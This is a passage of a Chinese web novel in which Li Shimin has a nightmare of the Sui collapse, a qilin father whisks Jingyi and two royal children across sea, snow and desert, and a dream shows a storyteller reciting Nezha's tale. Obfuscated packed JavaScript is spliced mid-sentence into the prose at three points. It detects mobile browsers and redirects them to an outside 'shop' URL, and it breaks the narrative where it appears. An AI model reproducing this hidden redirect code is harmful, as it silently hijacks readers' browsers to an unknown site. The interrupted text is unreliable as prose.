“罄南山之竹,书罪无穷;决东海之波,流恶难尽!” 讨隋檄文的声音如同惊雷,滚过原野。② 江都,最后的时刻。曾经奢华的宫殿陷入混乱与火光。叛将宇文化及狞笑着逼近,杨广颓然坐倒,曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114026|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经匍匐在他脚下的宫人四散奔逃,珠宝珍玩散落一地,被践踏成泥。 中原大地,烽烟四起。薛举、窦建德、王世充……一个个枭雄乘势而起,互相攻伐。城池易主如走马灯,今日的将军,明日的囚徒。 百姓在夹缝中哀嚎,田野荒芜,十室九空。白骨露于野,千里无鸡鸣。③ 这不是一场战争,而是一个庞大帝国从内部彻底腐烂、崩塌、然后被各路势力疯狂撕扯吞噬的全过程。 李世民像一个被迫悬浮在空中的幽灵,目睹着这令人窒息的一切。他看到了父亲起兵的不得已与必然,看到了那些枭雄的野心与局限,更看到了…… 那被压在一切之下的、沉默的、却最终颠覆了一切的力量——民心。 是杨广无休止的征役榨干了民力,是穷奢极欲耗尽了国本,是刚愎自用堵塞了言路,是对百姓苦难的漠视最终点燃了燎原大火。 “君者,舟也;庶人者,水也。水则载舟,水则覆舟。” ④ 荀子的古训,从未像此刻这般,带着淋漓的鲜血和冲天的怨气,砸在他的灵台之上! 梦境最后,定格在一片荒芜的田野。一个面黄肌瘦、失去双亲的孩童,呆呆地坐在自家倒塌的茅屋前,手里攥着一把干瘪的谷穗,眼神空洞,望着远处尚未散尽的硝烟。 那眼神,与景颐描述输了的小蚂蚁时的难过,奇异地重叠在一起。 李世民猛地从蒲团上弹起,胸膛剧烈起伏,如同离水的鱼般大口喘息。冷汗瞬间湿透重衣,眼前阵阵发黑,耳中似乎还回荡着乱世的厮杀与悲鸣。 “陛下。”长琴的琴声早已停止,他递过一盏温热的清茶,声音依旧平稳,却带着一丝不易察觉的探查。 李世民接过茶盏的手微微颤抖,几滴茶水泼洒出来。他一饮而尽,温热的液体滑过喉咙,才稍微压下了那股源自灵魂深处的寒意与悸动。 他低头,看向身边。景颐不知何时已经醒了,正揉着眼睛坐起来,小脸上带着刚睡醒的懵懂,但眉头也微微皱着,似乎睡得并不安稳。 “师父,李叔叔,”景颐嘟囔着,声音带着睡意,“我好像做了个很长很吵的梦……好多人在哭,在喊,还有火烧房子的味道……难闻死了。” 他嫌弃地皱皱鼻子,抱紧了怀里的响岩,仿佛那是唯一的安慰。 李世民看着孩子纯真犹存、却已沾染上一丝惊悸的小脸,心中五味杂陈。是他,将这孩子卷入了如此沉重黑暗的历史洪流之中。 他伸出手,想摸摸景颐的头,指尖却在半空停住。最终,他只是轻轻拍了拍孩子的肩膀,声音沙哑却无比郑重:“景颐,不怕。梦已经醒了。” 景颐点点头,依赖地往长琴身边靠了靠,又好奇地看着李世民苍白的脸:“李叔叔,你的梦也很吵吗?你的脸好白。” “嗯,很吵。”李世民扯出一个极淡、极疲惫的笑,“所以,我们要努力,让以后的人,少做这样吵的梦。” 他站起身,身形微微晃了一下,随即站稳。对着长琴深深一揖:“多谢仙长护持。今日……我受教了。” 长琴还礼:“陛下能安然归来,便是幸事。此梦沉重,需时日化解。” 李世民不再多言,转身,一步步走出凝云轩。午后的阳光依旧炽烈,照在他身上,却驱不散骨髓里透出的寒意。 他的脚步很慢,却很稳。背影在阳光下,被拉得很长,仿佛承载了刚才梦境中那无数亡魂的注视,以及一个崭新而无比沉重的觉悟。 他知道自己接下来该做什么了。不仅要避免那未来的安史之乱,更要从根源上,杜绝任何一个可能让大唐滑向隋末深渊的苗头。 镜已鉴,路在前。 而凝云轩内,景颐正缠着长琴,小声抱怨那个又吵又难闻的梦,浑然不知自己刚刚成为了怎样一面映照古今兴亡的、奇异的镜子。 17. 第 17 章 隋末的梦魇,如附骨之疽,紧紧缠绕着李世民意识。 连续三日,他批阅奏章时,眼前会闪过运河边堆积的、被苍蝇环绕的民夫尸体;饮茶时,舌尖仿佛尝到饥民嚼食树皮的苦涩;甚至夜间握住观音婢温热的手时,指腹会莫名感到一丝梦中那双逐渐冰冷的手的触感。 这恐惧不同以往。战场上的尸山血海是直白的、可理解的,而这梦境展示的,是盛世如何从内部一寸寸腐烂的过程。 没有具体的敌人,只是一种趋势,一种氛围,一种一旦滑入就万劫不复的深渊引力。 这段时日,他少言寡语,朝会上常常凝神细听,目光却穿透殿宇,望向某个虚空。直到魏征又一次就某地刺史略有奢侈之事慷慨进谏,言辞间提到“前隋之鉴,岂不痛哉”,李世民才骤然回神。 “玄成所言极是。”他声音有些干涩,“非止刺史。自朕以下,三省六部,诸卿与朕,当时时以此痛哉为镜,日日拂拭,勿使蒙尘。” 殿内一片寂静。陛下很少在朝堂上如此直接地肯定这种刺耳的谏言,更少用如此沉重的语气提及前隋。 房玄龄与长孙无忌交换了一个眼神,心中了然,陛下这几日的异常,根源在此。 下朝后,李世民将自己关在两仪殿偏殿,对着那幅巨大的疆域图看了整整一个时辰。图上江河脉络、州县棋布,是他半生征战的成果,也是他未来必须守护的一切。 “不能只守……”他低声自语,指尖从长安划向四方,“要让它,活得更好。” 他召来了最核心的几位大臣。没有过多的解释,只将一份他连夜草拟、墨迹犹新的条陈推了过去。 上面是他基于梦境启示,结合以往思考,提出的几个最急迫的调整方向。 条陈上的想法尚显粗粝,甚至有些理想化。但房玄龄等人接过时,手都有些微颤。 他们看到的不仅是几条政策调整,更是一种态度的彻底转变。 陛下不再仅仅满足于平定四方,仓廪渐实,他开始真正深入地、带着某种焦灼的警惕,去思考如何筑牢根基,杜绝隐患。 争论是激烈的。魏征直指某些条款仍嫌宽纵,长孙无忌担心触动既得利益恐生波澜,房玄龄则用枯燥的数字推演着可能引发的连锁反应。 李世民大部分时间只是听,偶尔插言,往往一针见血。他不再像年轻时那样急于求成、强行推动,而是展现出一种可怕的耐心与冷静,仿佛在下一盘必须步步为营、不能有丝毫差错的棋。 会议从午后持续到宫门下钥。 最终,几条最核心的修订艰难达成共识。虽然只是微调,远未触及根本,但李世民知道,这只是开始。他已在那个庞然巨物的齿轮间,楔入了第一颗属于贞观的、带着清醒痛感的钉子。 臣子们退去时,殿内只剩下他一人,和满室摇曳的烛火。疲惫如潮水般涌来,但他眼中却有火光在跳动。对抗那无形深渊的第一步,他已经迈出。 他没有立刻回立政殿,而是信步走至殿外高台。夏夜的风带着暑气,吹动他汗湿的后襟。他望着长安城稀落的灯火,忽然想起景颐那双总是亮晶晶的、对一切都充满好奇的眼睛。 那孩子,是否也能看到,他这位李叔叔,正在为一个可能永远不会发生的未来噩梦,而彻夜难眠、殚精竭虑? 这个念头让他心中微微一动,泛起一丝难以言喻的复杂情绪。有沉重,也有那么一点点慰藉。 —— 立政殿内,长孙皇后轻轻剪去烛花。 她已知晓陛下近几日的异常,也察觉了那份无声的沉重。 她未曾多问,只是吩咐小厨房每日备上清心安神的汤饮,将殿内香换成更宁神的苏合香,在陛下凝神独坐时,悄然为他披上一件外袍。 今夜,她等到很晚。直到宫人禀报陛下已从两仪殿出来,往凝云轩方向去了片刻又折返,最终歇在了甘露殿,她才微微松了口气。 她走到窗边,望向凝云轩的方向。夜色中,那里一片静谧。 她想起那日陛下从凝云轩归来后,对她身体超乎寻常的关切与那些小心翼翼的叮嘱,心中已隐约猜到了什么。 她不惧生死,却怕成为他的负累,更怕他因担忧而失了方寸。 “景颐那孩子……”她轻声自语,唇角泛起温柔的弧度。 那孩子的到来,似乎让许多事情变得不同了。他的赤诚,他的奇异,或许正是上天给予陛下的一份另类的启示与陪伴。 她希望,无论未来有何等风浪,那孩子都能如今日这般,眼眸澄澈,笑声朗朗。 —— 凝云轩,午后。 竹林滤下斑驳光影,蝉声在八月达到鼎盛,嘶鸣不绝。 景颐正经历一场“重大挫折”。 他试图教一只新得的、羽毛艳丽无比的鹦鹉说“师父最棒”,结果鹦鹉学会了“点心最好”,并对此坚定不移,气得他直跳脚。 丽质和李治在一旁笑得前仰后合。丽质近日开始正式习《礼记》和琴艺,偶尔来寻景颐,便觉是难得的放松。李治则纯粹是兄长阿姊笑,他也跟着乐。 长琴不在轩中。三日前,他感知到西北方向有一丝极其微弱的、与《鸣岐谱》残章韵律隐隐呼应的地脉波动,虽飘渺难追,仍决定亲往探查一二,预计需数日方归。 行前对景颐千叮万嘱,更在凝云轩内外加固了守护结界。 此刻轩内,只有孩童的嬉闹声,和那只固执鹦鹉的聒噪。 “不对!是‘师、父、最、棒’!不是‘点心最好’!”景颐对着鹦鹉,一字一顿,试图掰正。 鹦鹉歪着头,绿豆眼盯着他,清脆重复:“点心最好!点心最好!” 丽质忍笑,拿起一块糕点逗弄鹦鹉:“你说‘公主最美’,就给你吃。” 鹦鹉扑棱一下翅膀,毫不犹豫:“点心最好!” 三个孩子又是一阵大笑,连伺候的嬷嬷都背过身去,肩膀微耸。 玩闹半晌,丽质有些渴了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114027|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷嬷便去取饮子。李治玩累了,靠着一丛翠竹,小脑袋一点一点,开始打瞌睡。景颐则和鹦鹉大眼瞪小眼,陷入了语言教学的僵局。 就在这寻常午后,最松懈的一刻。 轩外竹林小径上,空气似乎被正午阳光晒得微微扭曲了一瞬。 一个身影,仿佛从这扭曲的光线中自然而然地“析”了出来。 那人瞧着二十七八年纪,身量颇高,穿着一身料子极好、样式却混搭得随心所欲的夏衫。 料子是江南的冰蚕丝,凉爽透气,款式却像改良过的胡服,窄袖收腰,便于活动,外罩一件薄如蝉翼、绣着奇异星纹的纱罗大氅,松松垮垮披着。 他肤色是健康的蜜色,鼻梁高挺,眉眼生得极好,尤其是那双眼睛,顾盼间神采流转,仿佛盛着四海的风与阳光,嘴角天然噙着一丝洒脱不羁的笑意。 他手里甚至还拿着一把不知从哪个胡商摊上淘来的、绘着夸张西域美人的团扇,有一下没一下地扇着,脚步悠闲得仿佛在自家后院散步。 他就这么晃悠着,径直走到了凝云轩那无形的守护结界前,歪头看了看,嘴里“啧”了一声,然后,伸出扇子,像拨开门帘一样,对着那层连寻常修士都难以察觉、更遑论破解的结界,随手一划。 结界就如同被热刀切开的牛油,悄无声息地滑开一道缝隙。那人施施然迈步进去,结界在他身后迅速弥合,完好如初。 他脚步轻快,转眼就到了轩内主屋前的回廊下。景颐正背对着他,锲而不舍地教育鹦鹉。丽质恰好转头取帕子,一眼瞥见了这个突兀出现的陌生人,惊得手中帕子都掉了。 “你……”丽质刚想开口。 那人却将食指竖在唇边,对她眨了眨眼,做了个“嘘”的口型。那眼神带着令人难以抗拒的亲和与狡黠,丽质下意识捂住了嘴,惊疑不定地看着他。 那人目光已落到背对他的景颐身上,眼中笑意更盛,大步上前。 景颐正全神贯注对付鹦鹉,忽觉一片带着阳光暖意的阴影罩下,还未及回头,一只温暖的大手已落在他头顶,胡乱揉了一把。 “谁啊!”景颐被揉得脑袋一歪,没好气地转身。 然后,他撞进了一双亮得惊人的眼眸里。 那眼睛的颜色,竟和他自己情绪激动时,隐约流转的金芒有几分相似,只是更加深邃、更加亲切。 那人蹲下身,视线与他齐平,脸上笑容灿烂得晃眼,上下打量着他,又伸手戳了戳他的脸,发出不知道从哪儿学来的口音: “哟,这谁家娃儿嘞?长得真俊!” 景颐懵:“你谁啊?” 青年一咧嘴,字正腔圆:“我恁爹!” 景颐:“???” 那只鹦鹉也被吸引了注意力,扑棱着翅膀,歪头看着新出现的两脚兽,忽然扯开嗓子,字正腔圆地学舌: “我、恁、爹!” “我、恁、爹!” “点、心、最、好!我、恁、爹!” 18. 第 18 章 “我、恁、爹!” 景颐:“???” 丽质:“……啊?” 丽质彻底呆住了,掉落的帕子都忘了捡。 靠在竹子上半睡半醒的李治被这突如其来的声音惊得一哆嗦,茫然睁眼。 霄乐得哈哈大笑,伸手揉了揉景颐一头卷毛,又顺手刮了下李治的鼻子:“小娃娃吓到了吧!” 他完全没管旁边宫女嬷嬷们惊疑不定、欲上前又不敢的神色。 “不对,”景颐皱着小眉头,努力思考,“我爹、我爹是麒麟,出门云游去了。” “巧了么不是?”霄一拍大腿,凑近些,压低声音,神秘兮兮地说,“你爹我,就是那出门云游的麒麟啊!刚回来,听说我儿在宫里混得风生水起,特来瞧瞧!” 说着,他指尖倏地窜起一簇极小的、温暖的金色火苗,火苗扭了扭,变成一只迷你的、活灵活现的小麒麟虚影,绕着景颐飞了一圈,亲昵地蹭了蹭他的脸颊,才“噗”地散成光点。 景颐眼睛“唰”地亮了!这气息!这感觉!虽然模样变了,但那血脉里的亲近和同源的力量骗不了人! 他瞬间抛去了所有疑惑,欢呼一声扑过去:“爹!你真回来啦!” 霄稳稳接住儿子,抱起来掂了掂:“重了!看来皇帝家伙食不错!” 他转头对还在发懵的丽质和李治招手,“你俩,景颐的小伙伴?一起来!伯伯带你们去玩点有意思的,比教鹦鹉说话强一万倍!” 丽质虽觉这伯伯出现得蹊跷,言语古怪,但见景颐如此亲昵欢喜,又看他方才露的那手绝非寻常,心中好奇压过了警惕。 李治更是早已被那手火苗变麒麟的戏法征服,觉得这伯伯比变戏法的胡人厉害多了,迈着小短腿就想过去。 “公主殿下,九殿下,使不得……”嬷嬷急得低声劝阻。 霄却已经一手抱着景颐,另一只手随意一挥。 一股柔和却不容抗拒的清风拂过,丽质和李治只觉得身子一轻,周围的景物微微模糊了一下,下一瞬,他们已经站在了一块巨大的、被海浪拍打得光滑潮湿的黑色礁石上。 咸腥而湿润的海风扑面而来,耳边是震耳欲聋的轰隆巨响。 眼前,是一片望不到边际的、灰蓝色的浩瀚海洋。 巨浪层层叠叠,从视线尽头奔涌而来,狠狠撞在脚下的礁石上,炸开漫天雪白的泡沫,阳光下映出小小的彩虹。 “啊!”丽质惊呼一声,下意识抓住了旁边霄的衣角。李治吓得小嘴一瘪,却被眼前从未见过的壮阔景象惊呆了,忘了哭。 “怎么样?比御花园的池子带劲吧?”霄把景颐放下,自己叉腰站在礁石最前沿,任凭浪花溅湿衣摆,豪气干云地念道, “东临碣石,以观沧海!这诗写的就是这儿!不过光看没意思。” 他手指向远处海面,“看那边!” 只见他指尖一点,远海处一道水柱冲天而起,在阳光下折射出七彩光华,隐约可见巨大黑影在水柱下一闪而过。 “是鲸!”霄大声道,“海里最大的鱼!翻身就能掀起大浪!” 孩子们看得目不转睛,心中震撼无以复加。从精致婉约的宫廷,突然置身于这原始磅礴的自然伟力面前,那种冲击感难以言喻。 “海看够了没?带你们去个凉快地方!” 霄不等他们回答,哈哈一笑,袖袍再展。 场景骤变! 震耳的海浪声瞬间消失,取而代之的是一种极致的、空旷的寂静。刺眼的阳光被柔和的、漫反射的雪光取代。 他们站在一片无垠的雪原上,天地间唯有纯净的蓝与白。 远处有连绵的雪山,头顶是澄澈得仿佛触手可及的蓝天,冷冽清新的空气吸入肺腑,激得孩子们打了个小小的喷嚏,却不觉得寒冷,周身暖洋洋的,仿佛裹在无形的暖被里。 “这是北边,冬天才有的景致。”霄抓起一把雪,随手一捏,变成两只晶莹剔透、活蹦乱跳的小雪兔,放到丽质和李治手心。小雪兔蹭了蹭李治的手指,化成一股凉意散去。 “沙子!堆沙子!”景颐在雪地里打了个滚,兴奋地喊。 “沙子?有!”霄从善如流,第三次挥袖。 热浪袭来。前一刻的严寒瞬间变为干燥的灼热。他们站在一片金黄色的沙丘之上,目之所及,沙丘如凝固的金色波涛蔓延到天际。 一轮浑圆的落日正缓缓沉入地平线,将天地染成一片壮丽的血红与橙金。风过沙丘,发出低沉悠长的呜鸣,如泣如诉,如古老的歌谣。 “玉门关外。” 霄的声音在风沙中也带上了一丝苍凉,随即又雀跃起来,“沙子不光会叫,还会烫脚!不过有伯伯在,烫不着你们!” 他随手从沙地里变出几个皮薄多汁的甜瓜,分给孩子们。在这极端干燥之地,瓜果的清甜格外沁人心脾。 丽质小口吃着瓜,看着眼前变幻的、不可思议的景象,忽然小声问:“伯伯……我们还能回去吗?” “回!当然回!”霄啃着瓜,含糊道,“就是带你们开开眼,天地大着呢,别总窝在一小片院子里。你,” 他指着丽质,“将来要嫁人,可能就去很远的地方。你,” 又指李治,“要当……呃,反正也可能去很多地方。还有我儿,更是要跟着他师父走遍天下的。早点看看,没坏处!” 他说话随心所欲,却让丽质似懂非懂地点了点头。 景颐早已玩疯了,在沙丘上滚来滚去,又央着霄:“爹!再来一个地方!” “再来一个?行啊,我想想……” 霄正琢磨着下一个去处,脸色忽然微微一变,抬头望向长安方向,咂咂嘴:“啧,来得真快……” 话音未落,沙漠黄昏那绚烂的天空,仿佛被一只无形的手从中撕开一道裂缝。凛冽的、与沙漠燥热截然相反的清寒气息弥漫开来。 青衣拂动,长琴一步从裂缝中踏出,面覆寒霜,琉璃色的眼眸中蕴含着显而易见、几乎要化为实质的怒意。 他目光扫过安然无恙却身处大漠的三个孩子,最后死死锁在霄身上。 “霄!” 长琴语气里带着罕见的气愤,瞬间压过了风声。 “哎呦!长琴!巧啊!你也来赏落日?”霄立刻换上灿烂无比、却怎么看怎么心虚的笑容,下意识把半个瓜藏到身后。 “巧?”长琴气极反笑,身影倏忽消失,再出现时已在霄面前,指间清光缭绕,毫不留情地朝他背处敲去, “擅动灵力,携凡人幼童跨越时空,置其于险地而不顾。你这些年云游,只长了胆子,没长脑子么?!” 那清光看似柔和,落在霄身上却发出“啪”一声脆响,不伤筋骨,却疼得他龇牙咧嘴,原地跳脚:“轻点!轻点!我错了!我看着呢!一点危险没有!就是带他们看看世面……” “看看世面?”长琴又是一下,这次敲得更重,“时空乱流,气运扰动,天地伟力之侧,是他们这般年纪能承受的?!若有丝毫差池,你待如何?!” 霄被揍得抱头鼠窜,毫无神兽威严,嘴里讨饶不止:“真没事!我护着呢!你看他们不好好的嘛……哎哟!” 趁长琴低头查看被这动静吓得有点呆住的孩子们是否真的无恙时,霄眼中精光一闪,以迅雷不及掩耳之势,将身旁的景颐抱起来往长琴臂弯一塞,又把丽质和李治往长琴身侧一推。 “消消气!孩子还你!我下次注意!”他语速飞快,同时对三个孩子挤眉弄眼,“伯伯走啦!下次再带你们玩更好玩的!” 说罢,周身金光爆闪,化作一道细线,“咻”地一声钻入还未完全合拢的时空裂缝,逃之夭夭,速度快得连残影都没留下半道。 “你——!” 长琴一手抱着景颐,又要顾着丽质和李治,眼睁睁看着那金光消失在裂缝深处,终究没去追。裂缝迅速弥合,沙漠夜空恢复原状,只剩风声呜咽。 他闭了闭眼,强压下心头翻腾的怒火与无奈。先低头检查三个孩子。 景颐眼睛还望着爹消失的方向,有点不舍,又有点怕师父生气,小声道:“师父,爹他……” “回去再说。”长琴打断他,声音已恢复平静,但余威犹在。他看向丽质和李治。 两个孩子经历了瞬移、山海雪漠的奇景,又目睹了神仙伯伯被神仙师父揍得乱跑,信息量过大,此刻都有些呆呆的。 丽质紧紧拉着李治的手,小脸发白。李治则仰头看着长琴,忽然打了个小小的哈欠,揉揉眼睛,往姐姐身上靠去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114028|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长琴眸光微凝。他伸出指尖,极轻地在三个孩子眉心拂过。 一缕宁神清心、兼有模糊近期记忆之效的灵力温柔注入,确保他们不会因此番经历留下惊悸,对这段匪夷所思的“旅行”也只会留下做了个很长的、有趣的梦的模糊印象。 就在他的灵力拂过李治眉心的刹那,长琴的动作几不可察地顿了顿。 在那一闪而逝的感知中,李治那尚且微弱、与其他皇子无异的皇家气运深处,似乎…… 那感觉极其隐晦,如深水微澜,若非他此刻灵力探入细致,又恰逢李治经历时空跳跃后气运略有浮动,绝难察觉。 不似李世民的开创霸烈,也非李承乾的明亮易折。那是一种更能承压、更懂得在复杂局势中蜿蜒前行,或许也更能守成的气息。 长琴眼底掠过一丝若有所思的微光,但旋即收敛。无论如何,这孩子眼下只是个体弱的稚童,是此次荒唐事件的受害者之一。 他不再耽搁,袍袖一卷,清光笼罩住三个孩子。 下一刻,凝云轩,空间微微荡漾,四人身影悄然浮现,仿佛从未离开。只有那只鹦鹉,终于学会了说“师父最好”。 远处,提心吊胆了仿佛一个世纪的嬷嬷宫女们,只觉眼前一花,就看到公主、九皇子和景颐小郎君好端端地站在原处,只是神色有些困倦,那位突然出现的青衣仙长也立在旁边,面色清冷如常。 “殿下……”嬷嬷们慌忙上前。 “无碍。”长琴淡然道,“孩子们玩累了,带他们回去歇息吧。今日之事,不必多言。” 他的话语带着令人心安的力量。嬷嬷们虽觉古怪,却也不敢多问,连忙领着呵欠连连的丽质和李治告退。 长琴则又一次加固结界,牵着景颐,进入主室,这才看向徒弟。 景颐缩了缩脖子,举起手里一直攥着的东西。 那是霄溜走前,偷偷塞进他手里的一枚暖金色的、边缘有天然云纹的鳞片,只有指甲盖大小,触手生温,隐有流光。 “师父……爹给的。”景颐小声说,把鳞片递过去。 长琴接过鳞片,指尖摩挲着那熟悉的纹路与气息,心中百感交集。怒意未消,却又有一丝久别重逢的暖意,更多的是一种果然如此的深深无力感。 他将鳞片收好,看着景颐:“可知错?” “颐儿错了……”景颐低头,“不该跟爹乱跑,让师父担心。” “非只为此。”长琴声音肃然, “你父行事跳脱,不顾后果。你身为麒麟,又随我修心,当知‘分寸’二字。丽质与雉奴乃凡俗孩童,肉身孱弱,魂灵未固,时空穿梭之力,于他们犹如巨浪行舟,稍有差池,便是魂飞魄散之祸。纵有你父看护,此等行径,亦是大险。你当时为何不拒?为何不唤为师?” 景颐被问得哑口无言,他当时只觉得好玩、亲切,哪想过这么多。 “今日起,抄写《清静经》十遍。何时抄完,何时再出凝云轩。” 长琴下了惩戒,又补充道,“那鳞片,为师暂为你保管。其上附有你父一缕神念,危急时或可护身,但平日不可妄动。” “是,师父。”景颐乖乖应下,知道这次师父是真生气了。 夜深人静,景颐在灯下不情愿地开始抄经。长琴独坐廊下,望着掌心那枚暖金鳞片,神识轻轻探入。 鳞片中传来霄那依旧没心没肺、却带着一丝讨好的神念留言: 【琴兄莫怪莫怪!实在想我儿了!顺便带他朋友见见世面,绝对安全!我办事你放心!对了,云游至东海归墟之畔,听见水下有老蛟吟唱,调子古拙悲凉,似与你寻的鸣岐之韵有三分像,但混杂了太多湮灭死气,听不真切。你自己当心,那地方邪性。还有下次回来给你带好酒赔罪!——霄】 信息杂乱,却关键。长琴收起鳞片,望向东方。 归墟,死气缠绕的古调…… 他揉了揉眉心。好友的“礼物”,总是这样,伴随着巨大的麻烦和一丝珍贵的情报。 轩外,虫鸣不绝。 而那个在沙漠夕照中被长琴偶然窥见一丝特异气运的小小九皇子,此刻正躺在柔软床榻上,沉入一场有大海、白雪、金沙和温暖光芒的、漫长而安宁的梦境。 19. 第 19 章 长琴回了流云境。 一是景颐那不靠谱的爹留下的鳞片与信息,需仔细参详。二是那日沙漠中探查到的李治身上那丝异样的气运,让他隐约觉得,或许该回天界查阅些更古老的记载。 他将景颐托与帝后时,只道:“短则三两日,长不过旬月。颐儿顽劣,有劳陛下与皇后多加看顾。” 李世民自是满口应承。自梦见观音婢后,他对景颐的看顾,于公于私都更添了一层慎重。长孙皇后更是直接将景颐的日常起居,大半纳入了立政殿的照管之下。 这日午后,李世民在两仪殿偏殿批阅奏章。景颐则被特许在殿内另一侧,摆弄一套新得的、精巧无比的鲁班锁。 李世民允他在此,一是安全,二是这孩子玩得投入时,殿内会格外安静,只余下细微的机关咬合声,反而让他批阅奏章时心神更易集中。 秋日的乏意,在一片寂静中,悄然袭来。 景颐摆弄着最后几个榫卯,眼皮开始打架。他晃了晃脑袋,抱着还没解开的鲁班锁,蹭到李世民御案旁铺着软垫的宽大脚踏上,寻了个舒服的姿势,很快便呼吸均匀,沉入梦乡。 李世民看完最后一份关于漕运的条陈,搁下朱笔,揉了揉发胀的额角。目光落在脚踏上那小小一团,不由莞尔。 他示意宫人取过一件自己的薄绸披风,随即轻轻盖在孩子身上。 就在他指尖无意间拂过景颐额发的刹那,一阵轻微的眩晕感袭来。 不是上次那种被强行拖入战火或病榻的剧烈冲击,更像一脚踏空,坠入一片五光十色的、流动的雾气中。他心中一惊,立刻意识到,又来了。 雾气散去,脚落实地。 他发现自己站在一条陌生的街道上。依然是旁观者的状态,身边的景颐也显出了小小的、半透明的身影,正揉着眼睛,好奇地打量四周。 这里不是长安。 街道似乎更窄,但异常繁华。两侧店铺鳞次栉比,招牌幌子密密麻麻,许多是用通俗易懂的白话写成,甚至配有简单的图画。 卖布的、沽酒的、售书的、售药的……人流如织,男女老幼衣着与唐时大异,男子多穿直身或道袍,女子衣衫色彩更为多样,式样也似乎简便了些。 最让李世民惊讶的是,他竟看到不少寻常百姓打扮的人,在书摊前驻足翻看,或指着招牌上的字低声议论。 甚至有个挑着担子的货郎,一边走一边看着手里一张印满字的纸。 “此地……”李世民喃喃,心中震撼,“百姓识字者,竟如此之多?” 他治下的贞观,大力推行教化,国子监、州县学皆有所兴,但识字读书,终究仍是士子与富家子弟的专利。 可眼前这熙攘街市中,那股弥漫在空气里的、属于文字与阅读的气息,竟如此普遍而鲜活。 这绝非短短数十年能成。此地,恐怕离他的大唐,已不知隔了多少岁月。 正思忖间,一阵中气十足、极富韵律的说唱声,夹杂着清脆的醒木拍案声,从街角一处颇为热闹的茶肆里传来: “……上一回书说到,那陈塘关总兵李靖,夫人怀胎三年零六个月,生下一个肉球!李靖大惊,一剑劈去——” “李靖?” 景颐耳朵尖,立刻捕捉到这个熟悉的名字,也忘了自己是在梦里,拉着李世民衣袖,“李叔叔!是李将军!” 李世民也凝神听去。李靖?陈塘关总兵?这官职闻所未闻。他示意景颐噤声,两人如两道游魂,飘入茶肆。 只见堂内坐满了茶客,男女老少皆有,一个个仰着头,听得入神。说书的是个精瘦老者,山羊胡,声音洪亮,手舞足蹈: “那肉球滴溜溜滚开,跳出一个遍体红光、面如傅粉的小娃儿,右手套个金镯,肚皮上围块红绫,满地乱跑,口称‘爹爹’!诸位,你道这是何物?正是那灵珠子转世,日后大闹东海、抽龙筋、揭龙鳞的哪吒三太子是也!” “哪吒?”景颐茫然重复,他从未听过这名号。 但说书人口沫横飞,情节离奇,已牢牢抓住了他的注意力。茶客们发出阵阵惊叹嘘声,氛围热烈。 李世民也觉匪夷所思。这故事荒诞不经,但说书人讲得活灵活现,茶客听得如痴如醉,仿佛确有其事。他按捺疑惑,继续听去。 说书人舌灿莲花,将那哪吒如何闹海戏水、误伤巡海夜叉、打死龙王三太子敖丙、抽龙筋做绦子……讲得一波三折。 又讲到四海龙王水淹陈塘关,逼李靖交出哪吒。哪吒为救全城百姓,不累父母,当场剔骨还父,割肉还母,自戕而亡!魂魄飘往乾元山。 听到此处,楼内一片唏嘘。 景颐已是眼圈通红,小拳头攥得紧紧的。他虽然不太懂剔骨还□□体何等惨烈,但那为救百姓不连累爹娘自己死掉的意思他听明白了,只觉得心里又难过又憋闷,为那个叫哪吒的小娃娃委屈极了。 “列位!”说书人醒木再拍,声音陡然转厉, “可恨那李靖,胆小怕事,薄情寡义!哪吒孩儿为他闯祸,为他偿命,魂魄方得安息,他非但不思悔改,反惧龙王迁怒,竟不准百姓祭祀,还将哪吒行宫打烂,神像推倒,香火断绝!如此行径,岂配为人父乎?!” “混账!”“忒也无情!”茶客们群情激愤,拍案叫骂。 景颐脑子里“嗡”的一声! 先前对哪吒的同情,瞬间化为熊熊怒火,直冲天灵盖!他从未如此生气过!那个李靖!他怎么可以这样!哪吒都死了,都还了骨头和肉了,他还要毁他的庙,不让人祭拜!这已经不是坏爹爹了,这是、这是比抢雉奴糕点的恶鹦鹉还坏一万倍! 他气得浑身发抖,透明的身影都微微波动,转头对李世民急道:“李叔叔!你听到了吗!李将军他、他怎么这么坏!哪吒太可怜了!” 李世民眉头紧锁。这故事越听越奇,其中伦理悖乱,令他这帝王也觉不适。他正待开口,说书人已再度高举醒木,声音拔到最高,语速如急雨: “哪吒魂魄无依,怒火冲天!得师父太乙真人以莲花荷叶重塑身形,赐下火尖枪、风火轮、乾坤圈、混天绫,下山便要寻那李靖,讨个公道!正是:前生债,今生仇,父子反目成寇雠!” “啪!!!” 